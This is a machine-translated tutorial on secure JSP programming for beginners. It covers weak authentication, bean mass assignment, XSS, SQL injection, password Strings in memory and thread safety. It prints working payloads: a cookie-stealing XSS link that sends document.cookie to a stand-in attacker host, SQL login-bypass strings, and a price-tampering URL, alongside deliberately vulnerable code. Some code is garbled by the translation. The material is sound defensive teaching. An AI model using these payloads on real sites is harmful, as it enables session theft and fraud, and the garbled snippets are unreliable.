Detailed analysis of JSP-developed security programming instances

Source: Internet
Author: User

Java Server Page (JSP) is becoming increasingly popular as a technology for creating dynamic web pages. JSP is not the same as ASP, PHP, and working mechanism. Generally, JSP pages are compiled rather than interpreted during execution. Calling the JSP file for the first time is actually a process of compiling Servlet.

When the browser requests this JSP file from the server, the server will check whether the JSP file has changed since the previous compilation. If the JSP file has not changed, the server will directly execute the Servlet without re-compiling, in this way, the efficiency is significantly improved.

Today, I will work with you to look at JSP security from the perspective of Script Programming. security risks such as source code exposure are not covered in this article. The main purpose of this article is to remind beginners of JSP programming. From the very beginning, we should cultivate the awareness of security programming and avoid mistakes that should not be made to avoid possible losses.

I. LAX authentication and low-level mistakes

User_manager.jsp is a user-managed page. The author knows its sensitivity and adds a lock:



 

      If (session. getValue ("UserName") = null) │ (session. getValue ("UserClass") = null) │ (! Session. getValue ("UserClass"). equals ("System Administrator") {response. sendRedirect ("err. jsp? Id = 14 "); return ;}



To view and modify the information of a user, use the modifyuser_manager.jsp file. Administrator submit http://www.somesite.com/yyforum/modifyuser_manager.jsp? Modifyid = 51

Is to view and modify the information of the user whose ID is 51 (the Administrator's Default User ID is 51 ).

However, such an important file lacks authentication, and common users (including tourists) can also submit the above request directly at a Glance (the password is also stored and displayed in plaintext ). Modifyuser_manage.jsp is also a portal wide-open page. It will not be visible until a malicious user completes the data update operation and redirects it to user_manager.jsp.

Obviously, it is far from enough to lock only one door. During programming, you must add authentication to each place that requires identity authentication.

2. Keep the ingress of JavaBean

The core of JSP component technology is bean java components. In a program, logical control and database operations can be placed in the javabeans component, and then called in the JSP file. This increases the definition of the program and the reusability of the program. Compared with the traditional ASP or PHP pages, JSP pages are very simple, because many dynamic page processing processes can be encapsulated into javajan. To change the JavaBean attribute, use the <jsp: setProperty> mark.

The following code is part of the source code of a hypothetical e-shopping system. This file is used to display information in the user's shopping box, while checkout. jsp is used for checkout.

 

      <jsp:useBean id="myBasket" class="BasketBean"> <jsp:setPropertyname="myBasket" property="*"/> <jsp:useBean> <html> <head><title>Your Basket</title></head> <body> <p> You have added the item <jsp::getProperty name="myBasket" property="newItem"/> to your basket. <br/> Your total is $ <jsp::getProperty name="myBasket" property="balance"/> Proceed to <a href="checkout.jsp">checkout</a>



Have you noticed property =? This indicates that the values of all the variables entered on the visible JSP page or submitted directly through the Query String are stored in the matching bean attribute. Generally, the user submits the request as follows:

 

      http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342



But what about unruly users? They may submit:

 

      http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0



In this way, the balance = 0 information is stored in the JavaBean. When they click "chekout" to settle the bill, the fee is free. This is similar to the security problems caused by global variables in PHP. It can be seen that "property =" * "must be used with caution!

Iii. Ever-increasing Cross-Site Scripting

Cross-Site Scripting (XSS) attacks refer to manual insertion of malicious JavaScript, VBScript, ActiveX, HTML, or Flash scripts in the HTML code of remote web pages, steal the privacy of users browsing this page, change user settings, and corrupt user data.

In most cases, XSS attacks do not affect the running of servers and WEB programs, but they pose a serious threat to the security of clients. This is the simplest example. When we submit:

 

      http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script>



The dialog box containing your cookie information is displayed. And submit:

 

      http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com'</script>



You can redirect To Netease.

When the value of the "name" variable is returned to the client, the script does not encode or filter malicious code. When a user accesses a link embedded with the malicious "name" variable, this will cause the script code to be executed on the user's browser, and may cause user privacy leaks and other consequences. For example, the following link:

 

      http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.hackersite.com/xxx.xxx?'+document.cookie</script>



Xxx. xxx is used to collect the following parameters. Here, the parameter specifies document. cookie, that is, the user's cookie accessing this link. In the ASP world, many people have perfected cookie Stealing technology. Reading cookies in JSP is not difficult. Of course, cross-site scripting is never limited to the cookie Stealing function. I believe everyone will understand it and I will not start it here.

The input and output of all dynamic pages should be encoded to avoid cross-site scripting attacks to a large extent. Unfortunately, all untrusted data encoding is resource-intensive and may affect the performance of Web servers. The common method is to filter input data. For example, the following code replaces dangerous characters:

 

      <% String message = request.getParameter("message"); message = message.replace ('<','_'); message = message.replace ('>','_'); message = message.replace ('"','_'); message = message.replace (''','_'); message = message.replace ('%','_'); message = message.replace (';','_'); message = message.replace ('(','_'); message = message.replace (')','_'); message = message.replace ('&','_'); message = message.replace ('+','_'); %>



A more positive way is to use a regular expression to only allow the input of specified characters:

 

      public boolean isValidInput(String str) {  if(str.matches("[a-z0-9]+")) return true;  else return false; }


Iv. Keep in mind SQL Injection

General programming books do not pay attention to helping beginners cultivate the habit of secure programming from the very beginning. The famous "JSP programming ideas and practices" demonstrates to beginners how to write a login system with a database (the database is MySQL

      Statement stmt = conn.createStatement(); String checkUser = "select * from login where username ='" + userName + "' and userpassword = '" + userPassword + "'"; ResultSet rs = stmt.executeQuery(checkUser); if(rs.next())  response.sendRedirect("SuccessLogin.jsp"); else  response.sendRedirect("FailureLogin.jsp");



This allows those who believe in books to use the login code with holes for a long time. If a user named "jack" exists in the database, there are at least the following methods to log on without knowing the password:

 

      User name: jack password: 'or 'A' = 'a User name: jack password:' or 1 = 1/* User name: jack 'or 1 = 1/* password: (arbitrary) lybbs (ForUM) ver



In LogInOut. java, the Server checks the data submitted during logon:

 

      If (s. equals ("") │ s1.equals ("") throw new UserException ("the user name or password cannot be blank. "); If (s. indexOf ("'")! =-1 │ s. indexOf (""")! =-1 │ s. indexOf (",")! =-1 │ s. indexOf ("")! =-1) throw new UserException ("the user name cannot include '", and other illegal characters. "); If (s1.indexOf ("'")! =-1 │ s1.indexOf (""")! =-1 │ s1.indexOf ("*")! =-1 │ s1.indexOf ("")! =-1) throw new UserException ("the password cannot contain illegal characters such. "); If (s. startsWith (" ") │ s1.startsWith (" ") throw new UserException (" space is not allowed in the user name or password. ");



But I don't know why he only filters out asterisks for passwords instead of usernames. In addition, the forward slash should also be listed in the "Blacklist. I still think that regular expressions only allow the input of Characters in the specified range.

Here, we should remind you not to think that you can effectively defend against all attacks by virtue of the inherent "security" of some database systems. Pinkeyes's PHP injection instance takes a lesson for those who are dependent On the PHP configuration file "magic_quotes_gpc = On.

5. hidden risks caused by String objects

Java makes secure programming easier. Java has no pointer, which means that Java programs no longer can address any memory location in the address space like C. The JSP file is compiled. class files are checked for security issues. For example, attempts to access array elements larger than the array size are rejected, which largely avoids the buffer overflow attack.

However, the String object brings us some security risks. If the password is stored in a Java String object, it will remain in the memory until it is garbage collected or the process is terminated. Even if garbage collection is performed, it will still exist in the idle memory heap until the memory space is reused.

The longer the password String stays in the memory, the higher the risk of eavesdropping. Worse, if the actual memory size is reduced, the operating system will schedule the String form change password to the swap space of the disk, so it is prone to disk block eavesdropping attacks. To minimize the possibility of such leaks (but not to eliminate them), you should store the password in the char array and set it to zero after use (String is immutable, it cannot be set to zero ).

6. Thread Security

"JSP can do what JAVA can do ". Unlike scripting languages such as ASP and PHP, JSP is executed in multiple threads by default. Multi-threaded execution can greatly reduce system resource requirements and improve the concurrency and response time of the system. A thread is an independent and concurrent execution path in a program. Each thread has its own stack, its own program counters, and its own local variables.

Although most operations in multi-threaded applications can be performed in parallel, some operations (such as updating global flags or processing shared files) cannot be performed in parallel. If thread synchronization is not done well, when there is a large amount of concurrent access, the "enthusiastic participation" of malicious users is not required, and the problem also arises.

The simplest solution is to add the following in the relevant JSP file:

 

      <%@ page isThreadSafe="false" %>



Command to make it run in a single thread. In this case, all client requests are executed in serial mode. This will seriously reduce the system performance. We can still execute JSP files in multiple threads and synchronize threads by locking the functions. When a function is added with the synchronized keyword, a lock is obtained. See the following example:

 

      Public class MyClass {int a; public Init () {// This method can be called by multiple threads at the same time by a = 0;} public synchronized void Set () {// both threads cannot call this method at the same time if (a> 5) {a = A-5 ;}}}



However, this will still have a certain impact on the system performance. A better solution is to use local variables instead of instance variables. Because instance variables are allocated in the heap and shared by all the threads of the instance, they are not thread-safe, and local variables are allocated in the stack, every thread has its own stack space, so the thread is safe. For example, the Code for adding friends to the Lingyun forum is as follows:

 

      public void addFriend(int i, String s, String s1) throws DBConnectException {  try  {   if……   else   {    DBConnect dbconnect = new DBConnect("insert into friend(authorid,friendname) values (?,?)");    dbconnect.setInt(1, i);    dbconnect.setString(2, s);    dbconnect.executeUpdate();    dbconnect.close();    dbconnect = null;   }  }  catch(Exception exception)  {   throw new DBConnectException(exception.getMessage());  } }



The following is a call:

 

      friendName=ParameterUtils.getString(request,"friendname"); if(action.equals("adduser")){  forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);  errorInfo=forumFriend.getErrorInfo(); }



If the instance variable is used, all the threads of the Instance share the instance variable, and user A may change the thread to sleep after passing A certain parameter, user B accidentally modifies the parameters, resulting in mismatch between friends.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.